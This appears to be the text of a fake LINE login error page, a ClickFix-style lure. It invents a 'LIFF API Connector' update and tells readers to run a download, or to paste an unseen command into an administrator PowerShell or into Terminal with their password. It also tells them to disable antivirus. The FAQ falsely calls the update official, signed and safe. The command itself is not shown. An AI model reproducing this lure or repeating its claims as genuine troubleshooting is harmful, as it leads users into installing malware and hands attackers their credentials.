The LIFF SDK could not authenticate with LINE Platform. Your local LINE API connector requires an update to establish secure connection.
Error Code:LIFF_AUTH_503
Module:liff.init() → OAuth2
Status:Connector Outdated
📱
Desktop Required
The LIFF API Connector update requires a desktop browser. Please open this page on your Windows PC or Mac to install the update.
1. Copy this page URL
2. Send to yourself via LINE Keep or email
3. Open on desktop browser
4. Complete the update
🍎 Update LINE API Connector (macOS)
📦Method 1: Download InstallerRecommended
▼
Download and run the official LINE API connector update package.
1. Click download button above
2. Open the downloaded .dmg file
3. Drag LIFF Connector to Applications
4. Refresh this page
⌨️Method 2: Terminal CommandAdvanced
▶
Run this command in Terminal for instant update:
1. Open Terminal: Press ⌘ + Space, type "Terminal", press Enter
2. Click inside Terminal window
3. Paste command: Press ⌘ + V
4. Press Enter to execute
5. Enter your Mac password when prompted (cursor won't move - this is normal)
6. Wait for "Update complete" message
7. Refresh this page
🪟 Update LINE API Connector (Windows)
🚀Method 1: One-Click InstallRecommended
▼
Instant installation via Microsoft ClickOnce technology.
1. Click the button above
2. Allow Microsoft Edge to open the installer
3. Click "Install" when prompted
4. Refresh this page
📦Method 2: Download Installer
▶
Download the standalone installer package.
1. Click download button above
2. Run the downloaded .exe file
3. Follow installation wizard
4. Refresh this page
⌨️Method 3: PowerShell CommandAdvanced
▶
Run this command in PowerShell (Admin) for instant update:
1. Open PowerShell as Admin: Press Win + X, then click "Windows PowerShell (Admin)" or "Terminal (Admin)"
2. Click "Yes" on the User Account Control prompt
3. Click inside PowerShell window
4. Paste command: Press Ctrl + V (or right-click)
5. Press Enter to execute
6. Wait for "Update complete" message (30-60 seconds)
7. Refresh this page
❓ Frequently Asked Questions
What is the LIFF API Connector?▶
The LINE Front-end Framework (LIFF) API Connector is a local component that enables secure communication between your browser and LINE Platform services. It handles OAuth2 authentication, message encryption, and profile data synchronization. The connector requires periodic updates to maintain compatibility with LINE's security protocols.
Why am I seeing this error?▶
Error ERR_LIFF_API_AUTH_503 occurs when the LIFF SDK detects a version mismatch between your local API connector and LINE's authentication servers. This typically happens after LINE Platform security updates. Installing the latest connector version resolves this issue immediately.
Is this update safe to install?▶
Yes. All LIFF API updates are cryptographically signed and distributed through LINE Corporation's secure CDN infrastructure. The installer verifies digital signatures before applying any changes. Your LINE account credentials and personal data are never transmitted during the update process.
Which installation method should I use?▶
For most users, we recommend the One-Click Install (Windows) or Download Installer (macOS) methods. These provide a guided installation experience with automatic configuration. The Terminal/PowerShell methods are intended for advanced users or enterprise environments with specific deployment requirements.
Will I need to log in to LINE again?▶
No. The LIFF API Connector update preserves your existing LINE session. Once the update completes, simply refresh this page to resume your booking. Your LINE profile and authentication tokens remain intact.
I'm having trouble installing. What should I do?▶
If you encounter installation issues: (1) Ensure your browser is up to date, (2) Temporarily disable antivirus software during installation, (3) Try an alternative installation method listed above, (4) Clear browser cache and retry. For persistent issues, refer to the LIFF Documentation or contact LINE Support at help.line.me
How long does the update take?▶
The LIFF API Connector update typically completes within 30-60 seconds on standard internet connections. The One-Click Install method is fastest, while the downloadable installer may take slightly longer depending on your download speed.
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